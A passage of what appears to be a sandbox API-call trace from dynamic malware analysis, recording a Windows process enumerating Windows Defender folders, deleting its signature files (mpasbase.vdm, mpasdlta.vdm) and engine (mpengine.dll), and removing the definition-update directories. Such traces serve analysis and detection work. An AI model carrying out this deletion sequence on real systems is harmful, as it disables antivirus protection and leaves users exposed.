ftLastAccessTime.dwLowDateTime=0x1fd91f9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x12c4d000, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0xb17190, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpasbase.vdm", cAlternateFileName="")) returned 1 [0277.968] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fff35a, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x6da22700, ftLastWriteTime.dwHighDateTime=0x1cb8783, nFileSizeHigh=0x0, nFileSizeLow=0x52d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpasdlta.vdm", cAlternateFileName="")) returned 1 [0277.968] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x93b6800, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpengine.dll", cAlternateFileName="")) returned 1 [0277.968] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x93b6800, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpengine.dll", cAlternateFileName="")) returned 0 [0277.968] FindClose (in: hFindFile=0x1ae08500 | out: hFindFile=0x1ae08500) returned 1 [0277.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0277.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0a8) returned 1 [0277.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0b8) returned 1 [0277.968] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0277.968] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}", nBufferLength=0x64, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpFilePart=0x0) returned 0x63 [0277.969] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", lpFindFileData=0x1bb7de60 | out: lpFindFileData=0x1bb7de60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08500 [0277.969] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.969] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fd91f9, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fd91f9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x12c4d000, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0xb17190, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpasbase.vdm", cAlternateFileName="")) returned 1 [0277.970] DeleteFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasbase.vdm")) returned 1 [0277.971] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fff35a, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x6da22700, ftLastWriteTime.dwHighDateTime=0x1cb8783, nFileSizeHigh=0x0, nFileSizeLow=0x52d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpasdlta.vdm", cAlternateFileName="")) returned 1 [0277.972] DeleteFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasdlta.vdm")) returned 1 [0277.972] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x93b6800, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpengine.dll", cAlternateFileName="")) returned 1 [0277.973] DeleteFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpengine.dll")) returned 1 [0277.973] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0277.973] FindClose (in: hFindFile=0x1ae08500 | out: hFindFile=0x1ae08500) returned 1 [0277.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0277.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0a8) returned 1 [0277.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e088) returned 1 [0277.973] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0277.973] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}", nBufferLength=0x64, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpFilePart=0x0) returned 0x63 [0277.974] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", lpFindFileData=0x1bb7de30 | out: lpFindFileData=0x1bb7de30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x878f7b00, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x878f7b00, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08500 [0277.974] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7ded0 | out: lpFindFileData=0x1bb7ded0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x878f7b00, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x878f7b00, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.974] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7ded0 | out: lpFindFileData=0x1bb7ded0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x878f7b00, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x878f7b00, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.974] FindClose (in: hFindFile=0x1ae08500 | out: hFindFile=0x1ae08500) returned 1 [0277.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ddf8) returned 1 [0277.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e038) returned 1 [0277.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7db88) returned 1 [0277.974] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e110 | out: lpFileInformation=0x1bb7e110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x878f7b00, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x878f7b00, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0277.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7db38) returned 1 [0277.974] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}")) returned 1 [0277.975] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0277.975] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0277.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df08) returned 1 [0277.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e128) returned 1 [0277.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e138) returned 1 [0277.975] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0277.975] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", nBufferLength=0x3d, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", lpFilePart=0x0) returned 0x3c [0277.975] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x878f7b00, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x878f7b00, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0277.976] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x878f7b00, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x878f7b00, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.976] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x878f7b00, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x878f7b00, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.976] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0277.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df08) returned 1 [0277.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e128) returned 1 [0277.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e108) returned 1 [0277.976] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0277.976] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", nBufferLength=0x3d, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", lpFilePart=0x0) returned 0x3c [0277.976] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x1bb7deb0 | out: lpFindFileData=0x1bb7deb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x878f7b00, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x878f7b00, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0277.977] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7df50 | out: lpFindFileData=0x1bb7df50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x878f7b00, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x878f7b00, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.977] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7df50 | out: lpFindFileData=0x1bb7df50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x878f7b00, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x878f7b00, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.977] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0277.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de78) returned 1 [0277.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0b8) returned 1 [0277.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dc08) returned 1 [0277.977] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e190 | out: lpFileInformation=0x1bb7e190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x878f7b00, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x878f7b00, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0277.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dbb8) returned 1 [0277.977] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates")) returned 1 [0277.977] FindNextFileW (in: hFindFile=0x1ae08560, lpFindFileData=0x1bb7e060 | out: lpFindFileData=0x1bb7e060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1 [0277.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e138) returned 1 [0277.978] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0277.978] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy", nBufferLength=0x34, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy", lpFilePart=0x0) returned 0x33 [0277.978] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0277.979] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.979] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.979] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0277.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df08) returned 1 [0277.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e128) returned 1 [0277.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e138) returned 1 [0277.979] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0277.979] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy", nBufferLength=0x34, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy", lpFilePart=0x0) returned 0x33 [0277.980] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0277.980] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.980] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.980] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0277.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df08) returned 1 [0277.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e128) returned 1 [0277.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e108) returned 1 [0277.980] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0277.980] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy", nBufferLength=0x34, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy", lpFilePart=0x0) returned 0x33 [0277.981] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x1bb7deb0 | out: lpFindFileData=0x1bb7deb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0277.981] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7df50 | out: lpFindFileData=0x1bb7df50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.981] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7df50 | out: lpFindFileData=0x1bb7df50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 